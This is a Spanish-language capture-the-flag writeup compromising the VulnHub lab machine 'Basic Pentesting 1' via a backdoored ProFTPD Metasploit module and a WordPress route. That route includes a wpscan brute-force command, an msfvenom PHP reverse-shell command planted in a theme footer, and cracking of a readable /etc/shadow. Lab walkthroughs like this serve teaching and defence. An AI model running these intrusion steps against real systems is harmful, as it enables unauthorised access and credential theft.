En este writeup comprometeremos la máquina Basic Pentesting 1 de VulnHUB , una máquina muy sencillita que fue utilizada como máquina víctima del artículo de Escaneo avanzado con nmap parte 1
Como en todos los writeups, la metodología utilizada está basada en estándares de la industria como PTES (Penetration Testing Execution Standard), adaptado a la naturaleza del ejercicio:
- Fase 1 – Reconocimiento: descubrimiento de la superficie de ataque, en este caso únicamente mediante técnicas activas.
- Fase 2 – Modelado de amenazas: identificación de los servicios expuestos y sus vulnerabilidades.
- Fase 3 – Explotación: aprovechamiento de las vulnerabilidades para conseguir acceso al sistema.
- Fase 4 – Post-explotación: escalada de privilegios hasta comprometer por completo la máquina.
El resto de fases que contempla PTES (interacciones previas al compromiso, recopilación de inteligencia y elaboración del informe) no se desarrollan aquí, ya que corresponden al marco de una auditoría profesional con cliente y quedan fuera del alcance de un ejercicio práctico de laboratorio.
Fase 1 – Reconocimiento
Dado el contexto del ejercicio, en la fase de reconocimiento únicamente utilizaremos técnicas activas ya que no tendría sentido usar técnicas pasivas en este contexto.
Empezamos descubriendo qué hosts están vivos en la red local, con un descubrimiento de hosts:
nmap -sn -n -PS80 192.168.30.0/24
Vemos que la máquina objetivo es la 192.168.30.130.
A continuación tenemos que descubrir cuál es la superficie de ataque de esta máquina, es decir necesitamos saber qué puertos tiene abiertos y qué servicios están corriendo, para ello podemos volver a usar nmap.
Al terminar el escaneo, podemos ver cómo la máquina expone los siguientes puertos
- 21 –> FTP
- 22 –> SSH
- 80 –> HTTP
Fase 2 – Modelado de amenazas
En esta fase buscamos las vulnerabilidades de la máquina e identificamos posibles vías de entrada.
Ahora que sabemos exactamente qué puertos tenemos abiertos, es cuando usamos los flags -sV y -sC de nmap únicamente contra ellos. Estos flags generan bastante ruido, y no tendría sentido lanzarlos contra los 65535 puertos de la máquina cuando solo tiene estos 3 abiertos.
El flag -sV nos permite conocer la versión exacta de cada servicio (siendo puristas, este paso podríamos haberlo incluido en la fase 1 como enumeración de servicios). El flag -sC, por su parte, ejecuta una serie de scripts por defecto del motor NSE (Nmap Scripting Engine) contra los servicios detectados; estos scripts recogen información adicional y detectan configuraciones vulnerables, entre otras cosas.
nmap -sC -sV -p 21,22,80 --scan-delay 2000 -n 192.168.30.130
Ahora que tenemos la superficie de ataque clara, vamos a seguir investigando para mapear todas las vulnerabilidades que podamos encontrar.
Puerto 21 – FTP
Al identificar la versión exacta del servicio FTP (ProFTPD 1.3.3c), encontramos que existe un módulo en Metasploit que permite explotar una vulnerabilidad conocida.
Se trata del CVE-2010-20103 que consiste en un ataque de cadena de suministro: el repositorio oficial de ProFTPD fue comprometido y el código distribuido incluía un backdoor con un comando FTP oculto. Al invocarlo, el servidor ejecuta código arbitrario con privilegios de root, lo que permite a cualquier atacante sin autenticación ejecutar comandos a nivel de servidor.
Este hallazgo por sí solo ya sería suficiente para comprometer la máquina, pero seguimos ampliando la superficie de ataque para documentar otras vías.
Puerto 80 – HTTP
Lo primero que haremos es fuzzing para descubrir directorios que nos puedan ser de interés. Usando gobuster encontramos el directorio /secret el cual está sirviendo un WordPress
Para que WordPress cargue correctamente, hay que modificar el fichero /etc/hosts para que nuestro equipo resuelva el nombre
sudo nano /etc/hosts
192.168.30.130 vtcsec
Como la web es un WordPress, vamos a usar wpscan para detectar la versión de WordPress, versión de plugin’s y enumerar usuarios.
Podemos ver como wpscan nos ha encontrado el usuario admin, un buen candidato para un ataque de fuerza bruta.
Fase 3 – Explotación
Recapitulando, tenemos dos posibles vías de explotación. Por un lado la versión vulnerable de ProFTPD para la cual sabemos que existe una vulnerabilidad crítica conocida y por otro lado tenemos la web WordPress para la cual tenemos un usuario contra el que podemos probar un ataque de fuerza bruta.
Vía A – Explotación ProFTPD
Usamos el módulo de Metasploit exploit/unix/ftp/proftpd_133c_backdoor
El módulo no trae payload por defecto, así que hay que configurar uno. Como el backdoor ejecuta comandos, usamos un payload del tipo cmd/unix
Configuramos también RHOSTS apuntando a la víctima y la configuración queda así
A continuación simplemente habría que ejecutar el exploit y obtenemos una shell como root, ya que ProFTPD corría con ese privilegio. Con esto la máquina quedaría totalmente comprometida
Vía B – WordPress
Como existe el usuario admin, comprobamos si tiene una contraseña débil para acceder al panel. Se puede usar hydra o wpscan; en este caso he usado wpscan
wpscan --url http://vtcsec/secret --passwords /usr/share/wordlists/rockyou.txt --usernames admin
Con las credenciales, entramos al panel de administración de WordPress
RCE a través del editor de temas
Desde el panel, tenemos varias opciones. Una clásica es conseguir ejecución de código subiendo una shell. Con el siguiente comando, podemos generar una reverse shell con msfvenom
msfvenom -p php/reverse_php LHOST=<mi_ip> LPORT=<mi_puerto> -f raw > shell.phpEn este caso, si intentamos subir la shell directamente en media, no nos dejará ya que no acepta la extensión .php. Podríamos editar algún plugin ya existente o como hacemos en este caso, editamos el footer del tema e insertamos nuestro código. Al recargar la página, el servidor ejecuta la shell y recibimos la conexión.
Una vez actualizamos el fichero, recibimos la conexión en el puerto que hayamos especificado
Dado que la web es un WordPress, uno de los primeros ficheros a los que acudir es wp-config.php, de ahí sacamos la contraseña de la base de datos. Una vez obtenida la contraseña probamos si está siendo reutilizada por alguno de los usuarios del sistema o si en la base de datos encontramos algún dato interesante; en este caso, por esta vía no conseguimos nada.
Tras buscar sin éxito capabilities y binarios SUID que nos permitan escalar, encontramos algo mucho más grave: siendo www-data tenemos permiso de lectura sobre /etc/shadow. Esto es importante, ya que este fichero solo lo debería poder leer root; que un usuario sin privilegios como www-data pueda hacerlo es una mala configuración de permisos.
Con el hash de marlinspike, lo crackeamos offline con john contra el diccionario rockyou.txt, obteniendo la contraseña del usuario.
Una vez rota la contraseña, nos autenticamos por ssh y comprobamos sus permisos de sudo y vemos que este usuario puede ejecutar cualquier comando como root, por lo tanto la máquina quedaría también comprometida por esta segunda vía.
Conclusión
Basic Pentesting 1 es una máquina muy sencillita que muestra cómo un mismo objetivo puede caer por caminos muy distintos según la debilidad que se explote:
La vía A (ProFTPD) es una muestra de la importancia de la cadena de suministro y lo importante que es seguir los advisory de los fabricantes y actualizar las versiones de software vulnerables.
La vía B (WordPress) es más realista y encadena varios errores: una contraseña débil en el panel de administración, ejecución de código a través del editor de temas, y —el fallo más grave— un /etc/shadow legible por el usuario del servidor web que permite crackear credenciales offline y escalar a root vía sudo.
La idea general es que la seguridad de un sistema es la de su eslabón más débil, y basta con un servicio desactualizado o un permiso mal puesto para comprometerlo por completo.